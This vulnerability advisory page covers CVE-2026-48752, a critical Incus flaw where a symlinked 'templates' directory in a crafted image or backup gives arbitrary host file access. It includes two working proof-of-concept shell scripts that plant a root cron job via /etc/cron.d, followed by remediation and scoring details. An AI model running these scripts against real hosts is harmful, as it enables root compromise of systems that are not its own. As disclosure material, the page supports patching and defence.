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CVE-2026-48752 — Vulnerability in...

CRITICAL

Incus has arbitrary file read+write on host via templates/ symlink in malicious image

Published June 26, 2026Updated July 7, 2026Source: osv

Summary

### Summary A specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. ### Details For container images, `internal/server/storage/utils.go` calls `archive.Unpack(imageFile, destPath, ...)`. The tar extraction path in `shared/archive/archive.go` excludes device nodes, but it does not reject a top-level `templates` symlink. For instance backups, `internal/server/storage/drivers/driver_dir_volumes.go:rsync.LocalCopy` uses argument `-a` (archive mode), but does not add `--safe-links`. This allows a top-level `templates` symlink. In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it. ### PoC #### Malicious container image Below, the templates directory is mapped to `/etc/cron.d` on the host, but it can be mapped anywhere. After that, create a cronjob to run `id` as root. ``` #!/bin/sh set -eu tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP mkdir -p "${tmpdir}/img/rootfs" ln -s /etc/cron.d "${tmpdir}/img/templates" cat<<__EOF__>"${tmpdir}/img/metadata.yaml" architecture: x86_64 creation_date: 1 properties: description: PoC templates symlink host afrw __EOF__ cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink incus init afrw-image-templates-symlink afrw-image-templates-symlink incus config template ls afrw-image-templates-symlink # read #incus config template show afrw-image-templates-symlink $FILENAME # write printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32 #incus config template edit afrw-image-templates-symlink poc ``` #### Malicious instance backup Below, the templates directory is mapped to `/etc/cron.d` on the host, but it can be mapped anywhere. After that, create a cronjob to run `id` as root. ``` #!/bin/sh set -eu tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP mkdir -p "${tmpdir}/img/backup" cat<<__EOF__>"${tmpdir}/img/backup/index.yaml" name: afrw-backup-templates-symlink backend: dir pool: default type: container optimized: false __EOF__ mkdir "${tmpdir}/img/backup/container" cat<<__EOF__>"${tmpdir}/img/backup/container/backup.yaml" container: name: afrw-backup-templates-symlink architecture: x86_64 type: container status: Stopped status_code: 102 stateful: false ephemeral: false profiles: - default config: volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5 volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49 expanded_config: volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5 volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49 devices: {} expanded_devices: root: path: / pool: default type: disk created_at: "2024-01-01T00:00:00Z" last_used_at: "2024-01-01T00:00:00Z" volume: name: afrw-backup-templates-symlink type: container content_type: filesystem config: {} pool: name: default driver: dir config: {} __EOF__ cat<<__EOF__>"${tmpdir}/img/backup/container/metadata.yaml" architecture: x86_64 creation_date: 1 properties: description: afrw-backup-templates-symlink __EOF__ mkdir "${tmpdir}/img/backup/container/rootfs" ln -s /etc/cron.d "${tmpdir}/img/backup/container/templates" cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c backup >../afrw-backup-templates-symlink.tar incus import ../afrw-backup-templates-symlink.tar afrw-backup-templates-symlink incus config template ls afrw-backup-templates-symlink # read #incus config template show afrw-backup-templates-symlink $FILENAME # write printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-backup-templates-symlink poc-32 #incus config template edit afrw-templates-symlink poc ``` ### Impact Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.

Advisory Timeline

  • First published June 26, 2026 (108 days ago).
  • Last revised July 7, 2026 — 11 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update github.com/lxc/incus/v7/cmd/incusd to 7.2.0 or later
go get github.com/lxc/incus/v7/cmd/incusd@v7.2.0

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: go (1).

PackageEcosystemAffectedFixed In
github.com/lxc/incus/v7/cmd/incusd
go
All versions7.2.0

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.9 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-48752?
Incus has arbitrary file read+write on host via templates/ symlink in malicious image This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.9/10).
How do I check if my project is affected by CVE-2026-48752?
CVE-2026-48752 affects github.com/lxc/incus/v7/cmd/incusd. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-48752 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.9

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-vxp5-584q-c479
GO-2026-5803

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